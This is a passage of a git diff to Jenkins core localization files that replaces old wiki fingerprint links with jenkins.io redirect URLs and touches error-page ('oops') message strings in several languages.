\u03B1\u03C1\u03C7\u03B5\u03AF\u03BF \u03B1\u03BB\u03BB\u03AC \u03B4\u03B5\u03BD \u03BE\u03AD\u03C1\u03B5\u03C4\u03B5 \u03C4\u03BF\u03BD \u03B1\u03C1\u03B9\u03B8\u03BC\u03CC \u03AD\u03BA\u03B4\u03BF\u03C3\u03AE\u03C2 \u03C4\u03BF\u03C5;
                                                                      \u0392\u03C1\u03B5\u03AF\u03C4\u03B5 \u03C4\u03B7\u03BD \u03B5\u03BB\u03AD\u03B3\u03C7\u03BF\u03BD\u03C4\u03B1\u03C2 \u03C4\u03BF \u03C8\u03B7\u03C6\u03B9\u03B1\u03BA\u03CC \u03B1\u03C0\u03BF\u03C4\u03CD\u03C0\u03C9\u03BC\u03B1 \u03C4\u03BF\u03C5 \u03B1\u03C1\u03C7\u03B5\u03AF\u03BF\u03C5 \u03BA\u03B1\u03B9 \u03C3\u03C5\u03B3\u03BA\u03C1\u03AF\u03BD\u03BF\u03BD\u03C4\u03AC\u03C2 \u03C4\u03BF \u03BC\u03B5 \u03C4\u03B7 \u03B2\u03AC\u03C3\u03B7 \u03B1\u03C0\u03BF\u03C4\u03C5\u03C0\u03C9\u03BC\u03AC\u03C4\u03C9\u03BD \u03C3\u03C4\u03BF Jenkins -fingerprint.link=https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint +fingerprint.link=https://jenkins.io/redirect/fingerprint more\ details=\u03C0\u03B5\u03C1\u03B9\u03C3\u03C3\u03CC\u03C4\u03B5\u03C1\u03B5\u03C2 \u03BB\u03B5\u03C0\u03C4\u03BF\u03BC\u03AD\u03C1\u03B5\u03B9\u03B5\u03C2 diff --git a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_es.properties b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_es.properties index c00710f8db..1ea94a235d 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_es.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_es.properties @@ -23,7 +23,7 @@ description=\ Si tienes un fichero ''jar'' en tu disco duro del que desconoces su versin
                                                                      \ Puedes identificarlo enviandolo a Jenkins para que busque su firma en la base de datos de firmas registradas. -fingerprint.link=https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint +fingerprint.link=https://jenkins.io/redirect/fingerprint File\ to\ check=Selecciona un fichero para comprobar Check=Comprobar Check\ File\ Fingerprint=Comprobar ficheros diff --git a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_fr.properties b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_fr.properties index e6d166f3d3..64b9adc2bf 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_fr.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_fr.properties @@ -24,5 +24,5 @@ Check\ File\ Fingerprint=V File\ to\ check=Fichier vrifier Check=Vrifier description=Vous avez un fichier jar mais vous ne connaissez pas sa version ?
                                                                      Vous pourrez la trouver en comparant l''empreinte num\u00E9rique avec celles dans la base de donn\u00E9es de Jenkins -fingerprint.link=https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint +fingerprint.link=https://jenkins.io/redirect/fingerprint more\ details=plus de dtails diff --git a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_ja.properties b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_ja.properties index 641e36be55..3b43850a2c 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_ja.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_ja.properties @@ -27,4 +27,4 @@ description=\ jar\u30D5\u30A1\u30A4\u30EB\u3092\u53D6\u5F97\u3057\u305F\u306E\u306B\u3001\u3069\u306E\u30D0\u30FC\u30B8\u30E7\u30F3\u304B\u5206\u304B\u3089\u306A\u3044\u306E\u3067\u3059\u304B?
                                                                      \ Jenkins\u306E\u30C7\u30FC\u30BF\u30D9\u30FC\u30B9\u3067\u30D5\u30A1\u30A4\u30EB\u6307\u7D0B\u3092\u30C1\u30A7\u30C3\u30AF\u3059\u308C\u3070\u3001\u5206\u304B\u308A\u307E\u3059\u3002 more\ details=\u8A73\u7D30 -fingerprint.link=http://wiki.jenkins-ci.org/display/JA/Fingerprint +fingerprint.link=https://jenkins.io/redirect/fingerprint diff --git a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_lt.properties b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_lt.properties index 7478165497..cb3c706f65 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_lt.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_lt.properties @@ -1,7 +1,7 @@ description=\ Gavote jar fail\u0105 bet ne\u017einote, kokia jo versija?
                                                                      \ Su\u017einokite patikrindami antspaud\u0105 Jenkinso duomen\u0173 baz\u0117je -fingerprint.link=https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint +fingerprint.link=https://jenkins.io/redirect/fingerprint Check=Tikrinti Check\ File\ Fingerprint=Tikrinti failo antspaud\u0105 more\ details=daugiau informacijos diff --git a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_lv.properties b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_lv.properties index 975749fb63..0f20c4fb47 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_lv.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_lv.properties @@ -24,5 +24,5 @@ Check=P\u0101rbaud\u012Bt Check\ File\ Fingerprint=P\u0101rbaude Faila Nospiedumam File\ to\ check=Fails, kuru p\u0101baud\u012Bt description=Ir *.jar fails, kuram nezini versiju?
                                                                      Uzzini to, p\u0101rbaudot pirkstu nospiedumu pret Jenkins datub\u0101zi. -fingerprint.link=https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint +fingerprint.link=https://jenkins.io/redirect/fingerprint more\ details=vair\u0101k inform\u0101cijas diff --git a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_nl.properties b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_nl.properties index 5e41e8d23b..0b90844761 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_nl.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_nl.properties @@ -24,5 +24,5 @@ Check\ File\ Fingerprint=Controleer de vingerafdruk van bestanden File\ to\ check=Te controleren bestand Check=Controleren description=Heb je een jar-bestand waarvan je de versie niet weet?
                                                                      Vind de versie door de vingerafdruk te controleren tegen de databank in Jenkins -fingerprint.link=https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint +fingerprint.link=https://jenkins.io/redirect/fingerprint more\ details=meer details diff --git a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_pl.properties b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_pl.properties index b07d6409b6..adf8853649 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_pl.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_pl.properties @@ -24,5 +24,5 @@ Check=Sprawd\u017A Check\ File\ Fingerprint=Wyszukaj wyst\u0105pienia artefaktu File\ to\ check=Plik do sprawdzenia description=Masz plik ale nie wiesz w kt\u00F3rych zadaniach wyst\u0119puje?
                                                                      Wyszukaj je w bazie danych Jenkinsa. -fingerprint.link=https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint +fingerprint.link=https://jenkins.io/redirect/fingerprint more\ details=wi\u0119cej detali diff --git a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_pt_BR.properties b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_pt_BR.properties index 65888e0336..54b45f3935 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_pt_BR.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_pt_BR.properties @@ -23,8 +23,8 @@ Check\ File\ Fingerprint=Verificar impress\u00E3o digital do arquivo File\ to\ check=Arquivo para verificar Check=Verificar -# https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint -fingerprint.link=https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint +# https://jenkins.io/redirect/fingerprint +fingerprint.link=https://jenkins.io/redirect/fingerprint # \ # Got a jar file but don''t know which version it is?
                                                                      \ # Find that out by checking the fingerprint against \ diff --git a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_ru.properties b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_ru.properties index 9866aee188..2bda6cc429 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_ru.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_ru.properties @@ -24,5 +24,5 @@ Check\ File\ Fingerprint=\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c File\ to\ check=\u0424\u0430\u0439\u043b \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 Check=\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c description=\u041D\u0435 \u0437\u043D\u0430\u0435\u0442\u0435 \u0432\u0435\u0440\u0441\u0438\u044E Jar-\u0444\u0430\u0439\u043B\u0430?
                                                                      \u0417\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044C \u0432\u0430\u0448 jar-\u0444\u0430\u0439\u043B \u0434\u043B\u044F \u0435\u0433\u043E \u0441\u0440\u0430\u0432\u043D\u0435\u043D\u0438\u044F \u0441 \u0431\u0430\u0437\u043E\u0439 \u043E\u0442\u043F\u0435\u0447\u0430\u0442\u043A\u043E\u0432 \u0444\u0430\u0439\u043B\u043E\u0432 Jenkins -fingerprint.link=https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint +fingerprint.link=https://jenkins.io/redirect/fingerprint more\ details=\u0434\u043E\u043F\u043E\u043B\u043D\u0438\u0442\u0435\u043B\u044C\u043D\u0430\u044F \u0438\u043D\u0444\u043E\u0440\u043C\u0430\u0446\u0438\u044F diff --git a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_sk.properties b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_sk.properties index 3d4ccea16d..714bd48aa4 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_sk.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_sk.properties @@ -3,5 +3,5 @@ Check=Skontroluj Check\ File\ Fingerprint=Skontroluj odtla\u010Dok s\u00FAboru File\ to\ check=S\u00FAbor na kontrolu -fingerprint.link=https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint +fingerprint.link=https://jenkins.io/redirect/fingerprint more\ details=viac detailov diff --git a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_sr.properties b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_sr.properties index 786cab1e46..5e41956e63 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_sr.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_sr.properties @@ -3,7 +3,7 @@ Check\ File\ Fingerprint=\u041F\u0440\u043E\u0432\u0435\u0440\u0438 description=\u041D\u0435\u0437\u043D\u0430\u0442\u0435 \u0432\u0435\u0440\u0437\u0438\u0458\u0443 \u043E\u0434 \u043D\u0435\u043A\u0435 '.jar' \u0430\u0440\u0445\u0438\u0432\u0435?
                                                                      \ \u041F\u0440\u043E\u0432\u0435\u0440\u0438\u0442\u0435 \u043F\u043E \u0434\u0438\u0433\u0438\u0442\u0430\u043B\u043D\u043E\u043C \u043E\u0442\u0438\u0441\u043A\u0443. -fingerprint.link=https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint +fingerprint.link=https://jenkins.io/redirect/fingerprint more\ details=\u0412\u0438\u0448\u0435 \u0434\u0435\u0442\u0430\u0459\u0430 File\ to\ check=\u0410\u0440\u0445\u0438\u0432\u0430 \u0437\u0430 \u043F\u0440\u043E\u0432\u0435\u0440\u0438\u0432\u0430\u045A\u0435 Check=\u041F\u0440\u043E\u0432\u0435\u0440\u0438 diff --git a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_sv_SE.properties b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_sv_SE.properties index 4a8deba12d..0e75e28d39 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_sv_SE.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_sv_SE.properties @@ -24,5 +24,5 @@ Check=Kontrollera Check\ File\ Fingerprint=Kontrollera filkontrollsumma File\ to\ check=Fil att kontrollera description=Har du en jar fil men vet inte vilket version den \u00E4r?
                                                                      Kontrollera det via kontrollsumman i Jenkins databas -fingerprint.link=https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint +fingerprint.link=https://jenkins.io/redirect/fingerprint more\ details=mer detaljer diff --git a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_zh_TW.properties b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_zh_TW.properties index 7571b68fc0..3258dafaee 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_zh_TW.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_zh_TW.properties @@ -22,7 +22,7 @@ Check\ File\ Fingerprint=\u6aa2\u67e5\u6a94\u6848\u6307\u7d0b description=\u624B\u908A\u6709\u500B JAR \u6A94\uFF0C\u4F46\u662F\u537B\u4E0D\u77E5\u9053\u5B83\u5230\u5E95\u662F\u54EA\u4E00\u7248\u7684?
                                                                      \u900F\u904E\u6A94\u6848\u7684\u7279\u5FB5\u503C\u5230 Jenkins \u7684\u8CC7\u6599\u5EAB\u88E1\u627E\u770B\u770B\u5427 -fingerprint.link=https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint +fingerprint.link=https://jenkins.io/redirect/fingerprint more\ details=\u8a73\u7d30\u8cc7\u6599 File\ to\ check=\u8981\u6aa2\u67e5\u7684\u6a94\u6848 Check=\u6aa2\u67e5 diff --git a/core/src/main/resources/jenkins/model/Jenkins/oops.jelly b/core/src/main/resources/jenkins/model/Jenkins/oops.jelly index 8c4a1ef74f..baeb4d8275 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/oops.jelly +++ b/core/src/main/resources/jenkins/model/Jenkins/oops.jelly @@ -31,9 +31,9 @@ THE SOFTWARE. - - - + + + diff --git a/core/src/main/resources/jenkins/model/Jenkins/oops.properties b/core/src/main/resources/jenkins/model/Jenkins/oops.properties index b67206fd10..633729e9b1 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/oops.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/oops.properties @@ -1,6 +1,6 @@ problemHappened= A problem occurred while processing the request. -checkJIRA= Please check our bug tracker to see if a similar problem has already been reported. +checkJIRA= Please check our bug tracker to see if a similar problem has already been reported. vote= If it is already reported, please vote and put a comment on it to let us gauge the impact of the problem. pleaseReport= If you think this is a new issue, please file a new issue. stackTracePlease= When you file an issue, make sure to add the entire stack trace, along with the version of Jenkins and relevant plugins. -checkML= The users list might be also useful in understanding what has happened. +checkML= The users list might be also useful in understanding what has happened. diff --git a/core/src/main/resources/jenkins/model/Jenkins/oops_bg.properties b/core/src/main/resources/jenkins/model/Jenkins/oops_bg.properties index d9e8a6f969..badf5f47e6 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/oops_bg.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/oops_bg.properties @@ -34,9 +34,9 @@ Bug\ tracker=\ \u0421\u043b\u0435\u0434\u0435\u043d\u0435 \u043d\u0430 \u0433\u0440\u0435\u0448\u043a\u0438 Stack\ trace=\ \u0421\u0442\u0435\u043a \u043d\u0430 \u0438\u0437\u0432\u0438\u043a\u0432\u0430\u043d\u0438\u044f\u0442\u0430 -# The users list might be also useful in understanding what has happened. +# The users list might be also useful in understanding what has happened. checkML=\ - \u041f\u043e\u0449\u0435\u043d\u0441\u043a\u0438\u0442\u0435 \u0441\u043f\u0438\u0441\u044a\u0446\u0438\ + \u041f\u043e\u0449\u0435\u043d\u0441\u043a\u0438\u0442\u0435 \u0441\u043f\u0438\u0441\u044a\u0446\u0438\ \u0441\u0430 \u0435\u0434\u043d\u043e \u043e\u0442 \u043c\u0435\u0441\u0442\u0430\u0442\u0430, \u043a\u044a\u0434\u0435\u0442\u043e \u043c\u043e\u0436\u0435 \u0434\u0430 \u043f\u043e\u0442\u044a\u0440\u0441\u0438\u0442\u0435 \u043e\u0431\u044f\u0441\u043d\u0435\u043d\u0438\u0435 \u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043d\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430. # If you think this is a new issue, please file a new issue. pleaseReport=\ @@ -44,9 +44,9 @@ pleaseReport=\ # A problem occurred while processing the request. problemHappened=\ \u0412\u044a\u0437\u043d\u0438\u043a\u043d\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430\u0442\u0430 \u043d\u0430 \u0437\u0430\u044f\u0432\u043a\u0430. -# Please check our bug tracker to see if a similar problem has already been reported. +# Please check our bug tracker to see if a similar problem has already been reported. checkJIRA=\ - \u041f\u0440\u043e\u0432\u0435\u0440\u0435\u0442\u0435 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0442\u0430 \u0437\u0430 \u0433\u0440\u0435\u0448\u043a\u0438\ + \u041f\u0440\u043e\u0432\u0435\u0440\u0435\u0442\u0435 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0442\u0430 \u0437\u0430 \u0433\u0440\u0435\u0448\u043a\u0438\ \u0434\u0430\u043b\u0438 \u0442\u043e\u0437\u0438 \u0438\u043b\u0438 \u043f\u043e\u0434\u043e\u0431\u0435\u043d \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432\u0435\u0447\u0435 \u0435 \u0434\u043e\u043a\u043b\u0430\u0434\u0432\u0430\u043d. Twitter\:\ @jenkinsci=\ Twitter: @jenkinsci diff --git a/core/src/main/resources/jenkins/model/Jenkins/oops_ja.properties b/core/src/main/resources/jenkins/model/Jenkins/oops_ja.properties index f7b002738f..5c969e203d 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/oops_ja.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/oops_ja.properties @@ -21,11 +21,11 @@ # THE SOFTWARE. problemHappened= \u30ea\u30af\u30a8\u30b9\u30c8\u51e6\u7406\u4e2d\u306b\u554f\u984c\u304c\u767a\u751f\u3057\u307e\u3057\u305f\u3002 -checkJIRA= \u30d0\u30b0\u7ba1\u7406\u30b7\u30b9\u30c6\u30e0\u3092\u30c1\u30a7\u30c3\u30af\u3057\u3066\u3001\u540c\u3058\u3088\u3046\u306a\u554f\u984c\u304c\u5831\u544a\u3055\u308c\u3066\u3044\u306a\u3044\u304b\u78ba\u8a8d\u3057\u3066\u304f\u3060\u3055\u3044\u3002 +checkJIRA= \u30d0\u30b0\u7ba1\u7406\u30b7\u30b9\u30c6\u30e0\u3092\u30c1\u30a7\u30c3\u30af\u3057\u3066\u3001\u540c\u3058\u3088\u3046\u306a\u554f\u984c\u304c\u5831\u544a\u3055\u308c\u3066\u3044\u306a\u3044\u304b\u78ba\u8a8d\u3057\u3066\u304f\u3060\u3055\u3044\u3002 vote= \u5831\u544a\u6e08\u307f\u3067\u3042\u308c\u3070\u3001\u6295\u7968(vote)\u3057\u3066\u30b3\u30e1\u30f3\u30c8\u3057\u3066\u304f\u3060\u3055\u3044\u3002\u305d\u3046\u3059\u308c\u3070\u3001\u305d\u306e\u554f\u984c\u306e\u5f71\u97ff\u306e\u5927\u304d\u3055\u304c\u958b\u767a\u8005\u306b\u4f1d\u308f\u308a\u307e\u3059\u3002 pleaseReport= \u3082\u3057\u3001\u5831\u544a\u3055\u308c\u3066\u3044\u306a\u3044\u554f\u984c\u3067\u3042\u308c\u3070\u3001\u30c1\u30b1\u30c3\u30c8\u3092\u767b\u9332\u3057\u3066\u304f\u3060\u3055\u3044\u3002 stackTracePlease= \u30c1\u30b1\u30c3\u30c8\u3092\u767b\u9332\u3059\u308b\u3068\u304d\u306b\u306f\u3001Jenkins\u3068\u95a2\u9023\u3059\u308b\u30d7\u30e9\u30b0\u30a4\u30f3\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u3068\u3042\u308f\u305b\u3066\u3001\u5fc5\u305a\u30b9\u30bf\u30c3\u30af\u30c8\u30ec\u30fc\u30b9\u3092\u3059\u3079\u3066\u6dfb\u4ed8\u3057\u304f\u3060\u3055\u3044\u3002 -checkML= \u4f55\u304c\u8d77\u304d\u305f\u306e\u304b\u7406\u89e3\u3059\u308b\u306b\u306f\u3001\u30e1\u30fc\u30ea\u30f3\u30b0\u30ea\u30b9\u30c8\u304c\u53c2\u8003\u306b\u306a\u308a\u307e\u3059\u3002 +checkML= \u4f55\u304c\u8d77\u304d\u305f\u306e\u304b\u7406\u89e3\u3059\u308b\u306b\u306f\u3001\u30e1\u30fc\u30ea\u30f3\u30b0\u30ea\u30b9\u30c8\u304c\u53c2\u8003\u306b\u306a\u308a\u307e\u3059\u3002 Jenkins\ project=JenkinsWeb\u30b5\u30a4\u30c8 Bug\ tracker=\u30d0\u30b0\u7ba1\u7406\u30b7\u30b9\u30c6\u30e0 diff --git a/core/src/main/resources/jenkins/model/Jenkins/oops_lt.properties b/core/src/main/resources/jenkins/model/Jenkins/oops_lt.properties index 02976a27dc..2c81dbaea9 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/oops_lt.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/oops_lt.properties @@ -1,9 +1,9 @@ problemHappened=Vykdant u\u017eklaus\u0105 atsitiko problema. -checkJIRA=Pra\u0161ome patikrinti m\u016bs\u0173 problem\u0173 sistem\u0105, ar ten n\u0117ra prane\u0161ta apie pana\u0161i\u0105 problem\u0105. +checkJIRA=Pra\u0161ome patikrinti m\u016bs\u0173 problem\u0173 sistem\u0105, ar ten n\u0117ra prane\u0161ta apie pana\u0161i\u0105 problem\u0105. vote=Jei jau prane\u0161ta, pra\u0161ome balsuoti ir prid\u0117ti komentar\u0173, kad mes gal\u0117tume padidinti \u0161ios problemos svarb\u0105. pleaseReport=Jei galvojate, kad tai nauja problema, pra\u0161ome u\u017epildyti nauj\u0105 problem\u0105. stackTracePlease=Kai pildote problem\u0105, b\u016btinai prid\u0117kite piln\u0105 klaidos i\u0161vest\u012f (stack trace), kartu su Jenkinso ir susijusi\u0173 pried\u0173 versijomis. -checkML=Naudotoj\u0173 s\u0105ra\u0161ynas gali taipogi praversti susigaudant, kas atsitiko. +checkML=Naudotoj\u0173 s\u0105ra\u0161ynas gali taipogi praversti susigaudant, kas atsitiko. Jenkins\ project=Jenkinso projektas Stack\ trace=Klaid\u0173 i\u0161klotin\u0117 Oops!=Oi! diff --git a/core/src/main/resources/jenkins/model/Jenkins/oops_pt_BR.properties b/core/src/main/resources/jenkins/model/Jenkins/oops_pt_BR.properties index 929608cafd..966fd834bd 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/oops_pt_BR.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/oops_pt_BR.properties @@ -24,8 +24,8 @@ problemHappened=Um problema ocorreu durante o processamento da requisi\u00e7\u00e3o. # If it is already reported, please vote and put a comment on it to let us gauge the impact of the problem. vote=Caso tenha sido reportado, por favor vote e comente para que possamos medir o impacto do problema. -# Please check our bug tracker to see if a similar problem has already been reported. -checkJIRA=Por favor verifique nosso bug tracker para verificar se um problema similar j\u00e1 foi reportado. +# Please check our bug tracker to see if a similar problem has already been reported. +checkJIRA=Por favor verifique nosso bug tracker para verificar se um problema similar j\u00e1 foi reportado. Bug\ tracker=Bug tracker Stack\ trace=Stack trace Mailing\ Lists=Listas de e-mail @@ -34,7 +34,7 @@ Jenkins\ project=Projeto Jenkins Oops!=Ops! # If you think this is a new issue, please file a new issue. pleaseReport=Caso voc\u00ea acredite que seja um novo problema, por favor preencha uma reclama\u00e7\u00e3o -# The users list might be also useful in understanding what has happened. -checkML=A lista de usu\u00e1rios pode ser \u00fatil para entender o que aconteceu. +# The users list might be also useful in understanding what has happened. +checkML=A lista de usu\u00e1rios pode ser \u00fatil para entender o que aconteceu. # When you file an issue, make sure to add the entire stack trace, along with the version of Jenkins and relevant plugins. stackTracePlease=Quando voc\u00ea preencher uma reclama\u00e7\u00e3o, assegure-se de adicionar o stack trace completo, junto com a vers\u00e3o do Jenkins e plugins relevantes. diff --git a/core/src/main/resources/jenkins/model/Jenkins/oops_sr.properties b/core/src/main/resources/jenkins/model/Jenkins/oops_sr.properties index e89619a689..26bb3cee5b 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/oops_sr.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/oops_sr.properties @@ -6,9 +6,9 @@ Mailing\ Lists=Mailing \u043B\u0441\u0438\u0442\u0435 Twitter\:\ @jenkinsci=Twitter: @jenkinsci Oops\!=\u041F\u0440\u043E\u0431\u043B\u0435\u043C! problemHappened=\u0414\u043E\u0448\u043B\u043E \u0458\u0435 \u0434\u043E \u0433\u0440\u0435\u0448\u043A\u0435 \u043F\u0440\u0438\u043B\u0438\u043A\u043E\u043C \u043E\u0431\u0440\u0430\u0434\u0435 \u0437\u0430\u0445\u0442\u0435\u0432\u0430. -checkJIRA=\u041F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435 \u0441\u0438\u0441\u0442\u0435\u043C \u0437\u0430 \u043F\u0440\u0430\u045B\u0435\u045A\u0435 \u0433\u0440\u0435\u0448\u0430\u043A\u0430 \u0434\u0430 \u043D\u0438\u0458\u0435 \u043D\u0435\u043A\u043E \u0432\u0435\u045B \u0434\u0430\u043E \u0438\u0437\u0432\u0435\u0448\u0442\u0430\u0458 \u043E \u043F\u0440\u043E\u0431\u043B\u0435\u043C\u0443. +checkJIRA=\u041F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435 \u0441\u0438\u0441\u0442\u0435\u043C \u0437\u0430 \u043F\u0440\u0430\u045B\u0435\u045A\u0435 \u0433\u0440\u0435\u0448\u0430\u043A\u0430 \u0434\u0430 \u043D\u0438\u0458\u0435 \u043D\u0435\u043A\u043E \u0432\u0435\u045B \u0434\u0430\u043E \u0438\u0437\u0432\u0435\u0448\u0442\u0430\u0458 \u043E \u043F\u0440\u043E\u0431\u043B\u0435\u043C\u0443. vote=\u0410\u043A\u043E \u0432\u0435\u045B \u0438\u043C\u0430 \u0438\u0437\u0432\u0435\u0448\u0442\u0430\u0458\u0430, \u043C\u043E\u043B\u0438\u043C\u043E \u0432\u0430\u0441 \u0433\u043B\u0430\u0441\u0430\u0458\u0442\u0435 \u0438 \u043E\u0441\u0442\u0430\u0432\u0438\u0442\u0435 \u043A\u043E\u043C\u0435\u043D\u0442\u0430\u0440 \u0434\u0430 \u0431\u0438\u0445 \u043C\u043E\u0433\u043B\u0438 \u043F\u0440\u0430\u0442\u0438\u043B\u0438 \u0448\u0438\u0440\u0438\u043D\u0443 \u043F\u0440\u043E\u0431\u043B\u0435\u043C\u0430. pleaseReport=\u0410\u043A\u043E \u043C\u0438\u0441\u043B\u0438\u0442\u0435 \u0434\u0430 \u043D\u043E\u0432\u0438 \u043F\u0440\u043E\u0431\u043B\u0435\u043C, \u043C\u043E\u043B\u0438\u043C\u043E \u0432\u0430\u0441 \u043F\u043E\u0434\u043D\u0435\u0441\u0438\u0442\u0435 \u0438\u0437\u0432\u0435\u0448\u0442\u0430\u0438\u0458 \u043E \u045A\u0435\u043C\u0443. stackTracePlease=\u041A\u0430\u0434 \u0434\u0430\u0458\u0435\u0442\u0435 \u0438\u0437\u0432\u0435\u0448\u0442\u0430\u0458, \u043C\u043E\u043B\u0438\u043C\u043E \u0432\u0430\u0441 \u043F\u0440\u043E\u0441\u043B\u0435\u0434\u0438\u0442\u0435 \u0446\u0435\u043B\u0443 \u0442\u0440\u0430\u0441\u0443 \u0441\u0442\u0435\u043A\u0430, \u0438 \u0432\u0435\u0440\u0437\u0438\u0458\u0435 Jenkins-\u0430 \u0438 \u0431\u0438\u0442\u043D\u0438\u0445 \u043C\u043E\u0434\u0443\u043B\u0430. -checkML=\u0421\u043F\u0438\u0441\u0430\u043A \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u043A\u0430 \u043C\u043E\u0436\u0435 \u0432\u0430\u043C \u043F\u043E\u043C\u043E\u045B\u0438 \u0434\u0430 \u043D\u0430\u0452\u0435\u0442\u0435 \u0448\u0442\u0430 \u0441\u0435 \u0434\u043E\u0433\u043E\u0434\u0438\u043B\u043E. +checkML=\u0421\u043F\u0438\u0441\u0430\u043A \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u043A\u0430 \u043C\u043E\u0436\u0435 \u0432\u0430\u043C \u043F\u043E\u043C\u043E\u045B\u0438 \u0434\u0430 \u043D\u0430\u0452\u0435\u0442\u0435 \u0448\u0442\u0430 \u0441\u0435 \u0434\u043E\u0433\u043E\u0434\u0438\u043B\u043E. Stack\ trace=\u0422\u0440\u0430\u0441\u0430 \u0441\u0442\u0435\u043A\u0443 diff --git a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help.properties b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help.properties index eb7d9a9923..e2eda72ec0 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help.properties @@ -25,4 +25,4 @@ body=\ When you have projects 